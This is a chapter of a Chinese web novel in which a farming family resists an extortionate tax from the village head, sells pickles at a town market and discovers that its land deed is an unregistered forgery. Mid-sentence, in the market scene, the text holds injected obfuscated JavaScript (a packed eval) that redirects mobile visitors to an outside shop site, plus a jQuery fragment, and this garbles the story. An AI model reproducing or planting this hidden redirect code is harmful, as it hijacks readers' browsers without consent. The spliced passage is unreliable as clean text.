里正背着手,在院子里转悠,一会摸摸这儿,一会摸摸那儿。
跟着里正一起来的俩帮闲正在站在院门口,有一个手里还拿着个本子,看着像是账册一类的东西。
哥哥脸色有些难看,兰君瞥了他一眼,碰了碰他手背。他不是不明白她的意思,但他还是阴沉着脸,没个好脸色。
“你们搬过来也快两个月了,按理说本官早就应该来看看,但奈何村里事务繁多,抽不开身,所以现在才来。”里正装模作样地开了口,“看到你们过得不错,本官也就放心了。”
一家四口人,没一个接话的。哥哥斜睨着里正,把头扭到一边去了。
话掉地上没人接,里正有点尴尬,他招招手,帮闲把账册递给他。
里正清了清嗓子,拿着账册开口道:“老三家的,今年春耕的田税该交了。你家那六亩地,按规矩一亩八十文,六亩四百八十文,加上春耕的杂项,一共五百文。”
“你咋不要五千文呢?”哥哥终于忍不住了,“去年一亩熟田才交四十文,今年一亩荒田八十文?你干脆别做里正了,做土匪更适合你。”
里正脸面上有点挂不住:“这是律法定的!不是本官定的!你去问问咱们村谁家田税不是这个数?我告诉你,你跟我说话放尊重点!”
兰君把哥哥按住,让他先别说话:“里正叔,我们家今年没种,那六亩荒田我们家连开荒的钱都没有,所以根本就没种。”
“你别跟我说这个,种不种是你家的事!跟本官没关系!”里正没给她好脸色,“限你们半个月之内把钱交上,不交钱的话后果自负。”
爹娘没吭声,但脸色难看。
里正把账册合上,露出一副似笑非笑的表情:“我听说前段时间,你家竹君在秀琴家门口跟福君动手打起来了,有这事吗?”
“里正叔,上次我大堂哥和竹君打起来,当时咱们村不少人都在,谁动的手,大家心里都有数。”兰君抢着开口,“秀琴姐家的小谷子也看见了,她还被我大堂哥踢伤了,现在她后脑那个位置头发还缺一块呢,您可以去问问谷子。”
里正又开口了:“福君这几天腿伤了,是不是跟你家有关?”
兄妹俩对视一眼,俩人都一头雾水。
兰君问道:“腿伤了?伤哪儿了?”
“他昨晚上被秀琴家的狗咬了,有人看到说你俩当时也在附近。”里正似笑非笑,“是不是你俩干的?”
“我俩那个点都睡了,什么正经人半夜在外面瞎晃荡。”哥哥阴阳怪气地开了口,“不去寡妇家门口晃悠就不会被狗咬,被咬也是自找的。”
兰君感觉里正快被气晕了。
“沈老三,你儿子真是好修养啊!”里正压抑着怒火,“管好你家儿子,别让我抓着他惹事,否则你们后果自负!”
里正拂袖而去,后面俩帮闲也紧跟在他后面走了。
他走远了,哥哥把院门关上了。
“哥哥,你刚才说话太直接了。”兰君有点担忧,“他那点心思咱们都清楚,何必和他在口头上争个输赢呢?”
“说了就说了吧。”哥哥还没来得及开口,爹说话了,“本来就已经撕破脸了,再坏也坏不到哪去了,拿话点点他,让他知道咱们不是软柿子也好。”
“先把活干了再说吧。”娘手没停,水萝卜已经弄完一小半了,“里正再跋扈,也不可能天天来,且得消停一阵子呢。”
兰君看了看:“这些是二十五斤吗?”
“不是,这些也就一半。”娘答道,“咱家一共就四个坛子,你俩这坛子倒出来先腌十斤,那一半我放地窖里了。”
“正好我俩今天还买盐了,那掌柜的还给我便宜了呢。”兰君把盐掏出来,“先腌菜吧。”
吃完晚饭,全家人一起商量了一下。
“咱俩现在攒下来的差不多有两贯钱了。”娘先开了口,“所以五百文能负担得起,但这对咱们家来讲不是个小数目,我不同意交。”
“我同意娘的说法,这不是钱的事。”兰君也凝重地点了点头,“他今天来收春税,那秋收的时候是不是还要收秋税?明年是不是要收人头税?这个口子不能开。”
“我也是这么想的。从被赶出家门到现在被敲竹杠,咱们一直都太被动。”哥哥开了口,“那个时候爹刚受伤,咱们没心思和大房掰扯什么,但现在咱家也缓过来了,我们还要这样隐忍下去吗?”
爹叹了口气:“咱们不想给,但咱们得有个合理的理由啊。”
兰君试探着开了口:“爹……要不咱们把地卖了吧。”
“这田种又种不了,放在手里还得收税。”哥哥也思考了一下,“或者租出去也行啊,好歹有个进项。”
“卖地肯定是不能卖的。”爹很直接地回绝了这个提议,“你们还小不明白,地是农民的立身之本。卖了地,咱们在秀水村就是没根的人了,何况荒田也卖不了几个钱。”
“那要不这样。”兰君想了想,“赶集日我俩拿着地契去牙行问问,看看能不能租出去。先问问,然后回来咱们再商量。”
哥哥没意见,爹娘也同意,这事就这么定下来了,兰君打算下次赶集就去牙行问问看。
赶集日。
这次兄妹俩还是带了十斤腌菜。
“这次如果能卖空的话,咱们等会去买一个十斤的陶坛吧。”趁着人流不多,兰君和哥哥有一搭没一搭地聊着天,“现在家里的陶坛太小了,到时候产量跟不上了,而且咱们自家还要吃呢。”
哥哥点了点头,认可了她的说法。
那个开粥铺的年轻男人又来了,他开口问道:“今天也是腌萝卜吗?”
“是,今天这酒糟萝卜腌的时间久一些,更入味。”兰君叉了几片递给他,“您尝尝。”
“嗯!好吃。”他把竹签放下,掏出钱袋,“给我称五斤吧,上次买的三斤,两天就卖完了,我自己也吃了不少,配粥正好。”
“五斤六十文。”兰君又夹了两筷,“再送您半斤。”
“谢谢了。”男人把钱递过来,“你们是每次赶集都来吗?”
“对,能来的时候都来。”兰君和哥哥一起打包,“我们要是没来,您又急着要的话,可以去秀水村找沈老三家。”
男人接过来,和兄妹俩告了别,急匆匆地回去了。
又来了两个回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861155|212002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头客,各要了半斤。
兄妹俩刚站在这儿不到半个时辰,卖出去六斤半了。
“感觉七宝镇上的人比我们想象得多啊。”兰君和哥哥说,“今天这么一会就卖出去一大半了。”
“七宝镇毕竟是咱们县最大的镇,还挨着官道,除了本地人,还有过路的旅人和商人。”哥哥给路人递过去一根竹签,“而且你信不信,每次镇集的时候肯定都有像咱们这样过来卖货,或者单纯来逛集市的周边几个村的村民?
兰君点了点头,觉得提升产量是一件迫在眉睫的事情,真得买几个大点的陶坛了。
这么会功夫,零零散散地卖出去半斤多,都是散客。
兄妹俩站在陶坛后面,酒糟腌菜散发出的香味吸引了很多路人的目光,兰君还是会主动让他们尝尝。
有个小哥买了半斤,又来了两个妇人,一人买了三两。
“酒糟腌菜,自家做的,免费试吃。”
兄妹俩继续吆喝,剩下的两斤,半个多时辰不到,全部卖完了。
哥哥让邱大娘帮忙看着点东西和板车,兄妹俩分头行动,哥哥去买一个能腌十斤菜的陶坛回来,兰君去买盐去了。
进了盐铺,兰君说要三斤盐腌菜,掌柜给她称好:“九十文。”
“我这几天在你家铺子里买盐都买了七斤了。”兰君皱了皱眉,“你就不能给我便宜点吗?我家是做腌菜的,你给我便宜点,以后我就都在你这儿买。”
掌柜的咬咬牙,给了她二十七文一斤的价格。兰君心满意足,拎着盐走了。
回到摊位上,哥哥也买好陶坛了,兄妹俩推起车,往镇口的方向走。
牙行就在镇口附近,兰君找到之后,让哥哥在门口等着,自己进了门。
柜台后面坐着个牙婆,正在嗑瓜子,兰君直接开了口:“掌柜的,我想打听一下,秀水村周边的荒地一亩租出去能收多少钱。”
“地契带了吗?”牙婆拍了拍手上的瓜子皮,“拿过来我看看。”
兰君把荷包里叠得齐齐整整的地契拿出来递过去,谁料那牙婆皱着眉看了一眼,又翻过去看了一眼,把地契还给她:“你这地没法租。”
“因为是荒田才没法租吗?”兰君不明白,“租便宜点也不行吗?”
“这就不是便宜不便宜的事。”牙婆又把地契拿过来指给她看,“这个用行话来讲就叫白契,因为没有官印,你这个地契是没在官府备案过的,按我朝律法,所有的私人田产都必须在官府登记造册。没有官印,这就是张废纸,你能写我能写他也能写,这东西官府根本不认。”
那一瞬间,兰君有种五雷轰顶的感觉。
她一下就明白了大房为什么会没有动作,因为他们已经把三房全家敲骨吸髓便宜占尽了。
地契是假的,那就相当于大房只给了他们一处破茅草房和一堆他们不要的破铜烂铁,甚至茅草房也不一定是真的给了,就这么把他们赶出家门了。
这地根本就不是他们家的!
兰君脸色发白,哥哥看她神色不对,把东西放在外面进来了:“怎么了?没事吧?”
她摇了摇头:“走,回家。”